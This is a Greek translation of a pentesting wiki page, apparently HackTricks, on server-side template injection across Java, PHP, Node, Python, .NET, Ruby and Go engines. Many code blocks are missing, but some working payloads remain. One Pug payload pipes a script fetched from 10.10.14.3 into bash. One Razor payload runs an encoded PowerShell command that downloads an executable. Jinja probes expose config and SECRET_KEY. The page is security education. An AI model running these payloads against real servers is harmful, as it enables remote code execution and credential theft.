SSTI (Server Side Template Injection)
Last updated
Last updated
https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeΜάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
RootedCON είναι το πιο σχετικό γεγονός κυβερνοασφάλειας στην Ισπανία και ένα από τα πιο σημαντικά στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.
Η ένεση προτύπου πλευράς διακομιστή είναι μια ευπάθεια που συμβαίνει όταν ένας επιτιθέμενος μπορεί να εισάγει κακόβουλο κώδικα σε ένα πρότυπο που εκτελείται στον διακομιστή. Αυτή η ευπάθεια μπορεί να βρεθεί σε διάφορες τεχνολογίες, συμπεριλαμβανομένου του Jinja.
Το Jinja είναι μια δημοφιλής μηχανή προτύπων που χρησιμοποιείται σε διαδικτυακές εφαρμογές. Ας εξετάσουμε ένα παράδειγμα που δείχνει ένα ευάλωτο απόσπασμα κώδικα χρησιμοποιώντας το Jinja:
Σε αυτόν τον ευάλωτο κώδικα, η παράμετρος name
από το αίτημα του χρήστη περνάει απευθείας στο πρότυπο χρησιμοποιώντας τη λειτουργία render
. Αυτό μπορεί δυνητικά να επιτρέψει σε έναν επιτιθέμενο να εισάγει κακόβουλο κώδικα στην παράμετρο name
, οδηγώντας σε server-side template injection.
Για παράδειγμα, ένας επιτιθέμενος θα μπορούσε να δημιουργήσει ένα αίτημα με ένα payload όπως αυτό:
Το payload {{bad-stuff-here}}
εισάγεται στην παράμετρο name
. Αυτό το payload μπορεί να περιέχει οδηγίες Jinja template που επιτρέπουν στον επιτιθέμενο να εκτελέσει μη εξουσιοδοτημένο κώδικα ή να χειριστεί τη μηχανή template, αποκτώντας ενδεχομένως έλεγχο πάνω στον διακομιστή.
Για να αποτραπούν οι ευπάθειες από την έγχυση template στον διακομιστή, οι προγραμματιστές θα πρέπει να διασφαλίσουν ότι η είσοδος του χρήστη είναι σωστά καθαρισμένη και επικυρωμένη πριν εισαχθεί σε templates. Η εφαρμογή επικύρωσης εισόδου και η χρήση τεχνικών διαφυγής που λαμβάνουν υπόψη το πλαίσιο μπορούν να βοηθήσουν στη μείωση του κινδύνου αυτής της ευπάθειας.
Για να ανιχνευθεί η Έγχυση Template στον Διακομιστή (SSTI), αρχικά, η θολότητα του template είναι μια απλή προσέγγιση. Αυτό περιλαμβάνει την εισαγωγή μιας ακολουθίας ειδικών χαρακτήρων (${{<%[%'"}}%\
) στο template και την ανάλυση των διαφορών στην απόκριση του διακομιστή σε κανονικά δεδομένα σε σύγκριση με αυτό το ειδικό payload. Οι δείκτες ευπάθειας περιλαμβάνουν:
Ρίψεις σφαλμάτων, που αποκαλύπτουν την ευπάθεια και ενδεχομένως τη μηχανή template.
Απουσία του payload στην αντανάκλαση, ή μέρη του να λείπουν, υποδηλώνοντας ότι ο διακομιστής το επεξεργάζεται διαφορετικά από τα κανονικά δεδομένα.
Plaintext Context: Διακρίνετε από το XSS ελέγχοντας αν ο διακομιστής αξιολογεί τις εκφράσεις template (π.χ., {{7*7}}
, ${7*7}
).
Code Context: Επιβεβαιώστε την ευπάθεια αλλάζοντας τις παραμέτρους εισόδου. Για παράδειγμα, αλλάζοντας το greeting
στο http://vulnerable-website.com/?greeting=data.username
για να δείτε αν η έξοδος του διακομιστή είναι δυναμική ή στατική, όπως στο greeting=data.username}}hello
που επιστρέφει το όνομα χρήστη.
Η αναγνώριση της μηχανής template περιλαμβάνει την ανάλυση μηνυμάτων σφάλματος ή τη χειροκίνητη δοκιμή διαφόρων payloads που είναι συγκεκριμένα για γλώσσες. Κοινά payloads που προκαλούν σφάλματα περιλαμβάνουν ${7/0}
, {{7/0}}
, και <%= 7/0 %>
. Η παρατήρηση της απόκρισης του διακομιστή σε μαθηματικές λειτουργίες βοηθά στην προσδιορισμό της συγκεκριμένης μηχανής template.
Περισσότερες πληροφορίες στο https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
ένας αποτελεσματικός σαρωτής SSTI + CSTI που χρησιμοποιεί καινοτόμους πολυγλωσσικούς κώδικες.
ένας διαδραστικός πίνακας που περιέχει τους πιο αποτελεσματικούς πολυγλωσσικούς εισβολείς προτύπων μαζί με τις αναμενόμενες απαντήσεις των 44 πιο σημαντικών μηχανών προτύπων.
Σε αυτή τη λίστα λέξεων μπορείτε να βρείτε μεταβλητές που ορίζονται στα περιβάλλοντα ορισμένων από τις μηχανές που αναφέρονται παρακάτω:
Java - Βασική εισαγωγή
Java - Ανάκτηση των μεταβλητών περιβάλλοντος του συστήματος
Java - Ανάκτηση /etc/passwd
Μπορείτε να δοκιμάσετε τα payload σας στο https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Τίποτα
${foobar}
Freemarker - Παράκαμψη Sandbox
⚠️ λειτουργεί μόνο σε εκδόσεις Freemarker κάτω από 2.3.30
Περισσότερες πληροφορίες
Στην ενότητα FreeMarker του https://portswigger.net/research/server-side-template-injection
Περισσότερες πληροφορίες
Στην ενότητα Velocity του https://portswigger.net/research/server-side-template-injection
Στο Thymeleaf, μια κοινή δοκιμή για ευπάθειες SSTI είναι η έκφραση ${7*7}
, η οποία ισχύει επίσης για αυτή την μηχανή προτύπων. Για πιθανή απομακρυσμένη εκτέλεση κώδικα, μπορούν να χρησιμοποιηθούν εκφράσεις όπως οι παρακάτω:
SpringEL:
OGNL:
Το Thymeleaf απαιτεί αυτές τις εκφράσεις να τοποθετούνται εντός συγκεκριμένων χαρακτηριστικών. Ωστόσο, υποστηρίζεται inline έκφραση για άλλες τοποθεσίες προτύπων, χρησιμοποιώντας σύνταξη όπως [[...]]
ή [(...)]
. Έτσι, μια απλή δοκιμή SSTI payload μπορεί να μοιάζει με [[${7*7}]]
.
Ωστόσο, η πιθανότητα να λειτουργήσει αυτό το payload είναι γενικά χαμηλή. Η προεπιλεγμένη ρύθμιση του Thymeleaf δεν υποστηρίζει δυναμική δημιουργία προτύπων; τα πρότυπα πρέπει να είναι προκαθορισμένα. Οι προγραμματιστές θα χρειαστεί να υλοποιήσουν τον δικό τους TemplateResolver
για να δημιουργήσουν πρότυπα από συμβολοσειρές σε πραγματικό χρόνο, κάτι που είναι ασυνήθιστο.
Το Thymeleaf προσφέρει επίσης προεπεξεργασία εκφράσεων, όπου οι εκφράσεις εντός διπλών υπογραμμίσεων (__...__
) προεπεξεργάζονται. Αυτή η δυνατότητα μπορεί να χρησιμοποιηθεί στην κατασκευή εκφράσεων, όπως αποδεικνύεται στην τεκμηρίωση του Thymeleaf:
Παράδειγμα Ευπάθειας σε Thymeleaf
Σκεφτείτε το παρακάτω απόσπασμα κώδικα, το οποίο θα μπορούσε να είναι επιρρεπές σε εκμετάλλευση:
Αυτό υποδηλώνει ότι αν η μηχανή προτύπων επεξεργαστεί αυτές τις εισόδους λανθασμένα, μπορεί να οδηγήσει σε απομακρυσμένη εκτέλεση κώδικα που αποκτά πρόσβαση σε διευθύνσεις URL όπως:
Περισσότερες πληροφορίες
Παράκαμψη φίλτρων
Μπορούν να χρησιμοποιηθούν πολλαπλές εκφράσεις μεταβλητών, αν το ${...}
δεν λειτουργεί δοκιμάστε το #{...}
, *{...}
, @{...}
ή ~{...}
.
Διαβάστε το /etc/passwd
Προσαρμοσμένο σενάριο για τη δημιουργία payload
Περισσότερες Πληροφορίες
{{ someString.toUPPERCASE() }}
Παλαιά έκδοση του Pebble ( < έκδοση 3.0.9):
Νέα έκδοση του Pebble :
Jinjava είναι ένα έργο ανοιχτού κώδικα που αναπτύχθηκε από την Hubspot, διαθέσιμο στο https://github.com/HubSpot/jinjava/
Jinjava - Εκτέλεση εντολών
Διορθώθηκε από https://github.com/HubSpot/jinjava/pull/230
Περισσότερες πληροφορίες
{% %}
δηλωτές δηλώσεων
{{ }}
δηλωτές εκφράσεων
{# #}
δηλωτές σχολίων
{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206
{{'a'.toUpperCase()}}
- "A"
{{'a'.concat('b')}}
- "ab"
{{'a'.getClass()}}
- java.lang.String
{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest
{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Αναζητήστε το "com.hubspot.content.hubl.context.TemplateContextRequest" και ανακαλύψτε το έργο Jinjava στο Github.
Περισσότερες πληροφορίες
${"aaaa"}
- "aaaa"
${99999+1}
- 100000.
#{7*7}
- 49
${{7*7}}
- 49
${{request}}, ${{session}}, {{faceContext}}
Η Expression Language (EL) είναι μια θεμελιώδης δυνατότητα που διευκολύνει την αλληλεπίδραση μεταξύ της παρουσίασης (όπως οι ιστοσελίδες) και της λογικής εφαρμογής (όπως τα managed beans) στο JavaEE. Χρησιμοποιείται εκτενώς σε πολλές τεχνολογίες JavaEE για να απλοποιήσει αυτή την επικοινωνία. Οι βασικές τεχνολογίες JavaEE που χρησιμοποιούν EL περιλαμβάνουν:
JavaServer Faces (JSF): Χρησιμοποιεί EL για να συνδέσει τα στοιχεία στις σελίδες JSF με τα αντίστοιχα δεδομένα και ενέργειες στο backend.
JavaServer Pages (JSP): Η EL χρησιμοποιείται σε JSP για την πρόσβαση και την επεξεργασία δεδομένων εντός των σελίδων JSP, διευκολύνοντας τη σύνδεση των στοιχείων της σελίδας με τα δεδομένα της εφαρμογής.
Contexts and Dependency Injection for Java EE (CDI): Η EL ενσωματώνεται με το CDI για να επιτρέπει την απρόσκοπτη αλληλεπίδραση μεταξύ της διαδικτυακής διάταξης και των managed beans, εξασφαλίζοντας μια πιο συνεκτική δομή εφαρμογής.
Ελέγξτε την παρακάτω σελίδα για να μάθετε περισσότερα σχετικά με την εκμετάλλευση των ερμηνευτών EL:
EL - Expression LanguageΟι παρακάτω παρακάμψεις του Security Manager προήλθαν από αυτήν την αναφορά.
Περισσότερες πληροφορίες στο https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
RootedCON είναι το πιο σχετικό γεγονός κυβερνοασφάλειας στην Ισπανία και ένα από τα πιο σημαντικά στην Ευρώπη. Με την αποστολή της προώθησης τεχνικής γνώσης, αυτό το συνέδριο είναι ένα βραστό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.
Περισσότερες πληροφορίες
Στην ενότητα Smarty του https://portswigger.net/research/server-side-template-injection
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
Twig - Μορφή προτύπου
Περισσότερες πληροφορίες
Στην ενότητα Twig και Twig (Sandboxed) του https://portswigger.net/research/server-side-template-injection
Το Plates είναι μια μηχανή templating που είναι εγγενής στο PHP, αντλώντας έμπνευση από το Twig. Ωστόσο, σε αντίθεση με το Twig, το οποίο εισάγει μια νέα σύνταξη, το Plates αξιοποιεί τον εγγενή κώδικα PHP στα templates, καθιστώντας το διαισθητικό για τους προγραμματιστές PHP.
Controller:
Σελίδα πρότυπου:
Διάταξη προτύπου:
Περισσότερες πληροφορίες
HTML_Template_PHPLIB είναι το ίδιο με το PHPlib αλλά μεταφερμένο στο Pear.
authors.tpl
authors.php
Περισσότερες πληροφορίες
Περισσότερες πληροφορίες στο https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Περισσότερες πληροφορίες
Στην ενότητα Jade του https://portswigger.net/research/server-side-template-injection
patTemplate μη-συμπληρωματική μηχανή templating PHP, που χρησιμοποιεί XML tags για να διαιρέσει ένα έγγραφο σε διάφορα μέρη
Περισσότερες πληροφορίες
Διαδρομή Πλοήγησης (περισσότερες πληροφορίες εδώ).
= Σφάλμα
${7*7} = ${7*7}
Τίποτα
Περισσότερες πληροφορίες
Πρότυπο
Περιγραφή
Αξιολόγηση και απόδοση εξόδου
Αξιολόγηση και απόδοση HTML κωδικοποιημένου εξόδου
Σχόλιο
και
Επιτρέπεται ο κώδικας (απενεργοποιημένο από προεπιλογή)
= 49
Πλευρά Πελάτη
Εξυπηρετητής Πλευράς
Περισσότερες πληροφορίες
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Παράδειγμα απόδοσης πλευράς διακομιστή
Περισσότερες πληροφορίες
{{7*7}} = 49
{{foo}} = Χωρίς έξοδο
#{7*7} = #{7*7}
{{console.log(1)}} = Σφάλμα
Περισσότερες πληροφορίες
Περισσότερες πληροφορίες στο https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error
Περισσότερες πληροφορίες
{ 7 * 7 }
Περισσότερες πληροφορίες
Περισσότερες πληροφορίες στο https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Δείτε την παρακάτω σελίδα για να μάθετε κόλπα σχετικά με την εκτέλεση αυθαίρετων εντολών παρακάμπτοντας τα sandboxes στην python:
Bypass Python sandboxes{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
Περισσότερες πληροφορίες
Jinja2 είναι μια πλήρης μηχανή προτύπων για Python. Έχει πλήρη υποστήριξη unicode, μια προαιρετική ενσωματωμένη sandboxed εκτελεστική περιβάλλον, ευρέως χρησιμοποιούμενη και με άδεια BSD.
{{7*7}} = Σφάλμα
${7*7} = ${7*7}
{{foobar}} Τίποτα
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Jinja2 - Μορφή προτύπου
RCE που δεν εξαρτάται από __builtins__
:
Περισσότερες λεπτομέρειες σχετικά με το πώς να εκμεταλλευτείτε το Jinja:
Jinja2 SSTIΆλλες payloads στο https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Περισσότερες πληροφορίες
Περισσότερες πληροφορίες στο https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
@(2+2) <= Επιτυχία
@() <= Επιτυχία
@("{{code}}") <= Επιτυχία
@ <=Επιτυχία
@{} <= ΣΦΑΛΜΑ!
@{ <= ΣΦΑΛΜΑ!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
Η μέθοδος .NET System.Diagnostics.Process.Start
μπορεί να χρησιμοποιηθεί για να ξεκινήσει οποιαδήποτε διαδικασία στον διακομιστή και έτσι να δημιουργήσει ένα webshell. Μπορείτε να βρείτε ένα παράδειγμα ευάλωτης webapp στο https://github.com/cnotin/RazorVulnerableApp
Περισσότερες πληροφορίες
<%= 7*7 %>
= 49
<%= "foo" %>
= foo
<%= foo %>
= Τίποτα
<%= response.write(date()) %>
= <Date>
Περισσότερες Πληροφορίες
Ακόμα και αν είναι Perl, χρησιμοποιεί ετικέτες όπως ERB στη Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Error
Στη μηχανή προτύπων του Go, η επιβεβαίωση της χρήσης της μπορεί να γίνει με συγκεκριμένα payloads:
{{ . }}
: Αποκαλύπτει τη δομή δεδομένων εισόδου. Για παράδειγμα, αν περαστεί ένα αντικείμενο με ένα χαρακτηριστικό Password
, το {{ .Password }}
θα μπορούσε να το εκθέσει.
{{printf "%s" "ssti" }}
: Αναμένεται να εμφανίσει τη συμβολοσειρά "ssti".
{{html "ssti"}}
, {{js "ssti"}}
: Αυτά τα payloads θα πρέπει να επιστρέφουν "ssti" χωρίς να προσθέτουν "html" ή "js". Περαιτέρω οδηγίες μπορούν να εξερευνηθούν στην τεκμηρίωση του Go εδώ.
XSS Exploitation
Με το πακέτο text/template
, το XSS μπορεί να είναι απλό εισάγοντας το payload απευθείας. Αντίθετα, το πακέτο html/template
κωδικοποιεί την απάντηση για να το αποτρέψει (π.χ., {{"<script>alert(1)</script>"}}
έχει ως αποτέλεσμα <script>alert(1)</script>
). Παρ' όλα αυτά, ο ορισμός και η κλήση προτύπων στο Go μπορούν να παρακάμψουν αυτή την κωδικοποίηση: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
RCE Exploitation
Η εκμετάλλευση RCE διαφέρει σημαντικά μεταξύ html/template
και text/template
. Το module text/template
επιτρέπει την άμεση κλήση οποιασδήποτε δημόσιας συνάρτησης (χρησιμοποιώντας την τιμή “call”), κάτι που δεν επιτρέπεται στο html/template
. Η τεκμηρίωση για αυτά τα modules είναι διαθέσιμη εδώ για html/template και εδώ για text/template.
Για RCE μέσω SSTI στο Go, μπορούν να κληθούν μέθοδοι αντικειμένων. Για παράδειγμα, αν το παρεχόμενο αντικείμενο έχει μια μέθοδο System
που εκτελεί εντολές, μπορεί να εκμεταλλευτεί όπως {{ .System "ls" }}
. Η πρόσβαση στον πηγαίο κώδικα είναι συνήθως απαραίτητη για να εκμεταλλευτεί αυτό, όπως στο δοθέν παράδειγμα:
Περισσότερες πληροφορίες
Ελέγξτε το υπόλοιπο του https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection για περισσότερες εκμεταλλεύσεις. Επίσης, μπορείτε να βρείτε ενδιαφέρουσες πληροφορίες σχετικά με τις ετικέτες στο https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
Αν νομίζετε ότι θα μπορούσε να είναι χρήσιμο, διαβάστε:
RootedCON είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην Ισπανία και μία από τις πιο σημαντικές στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)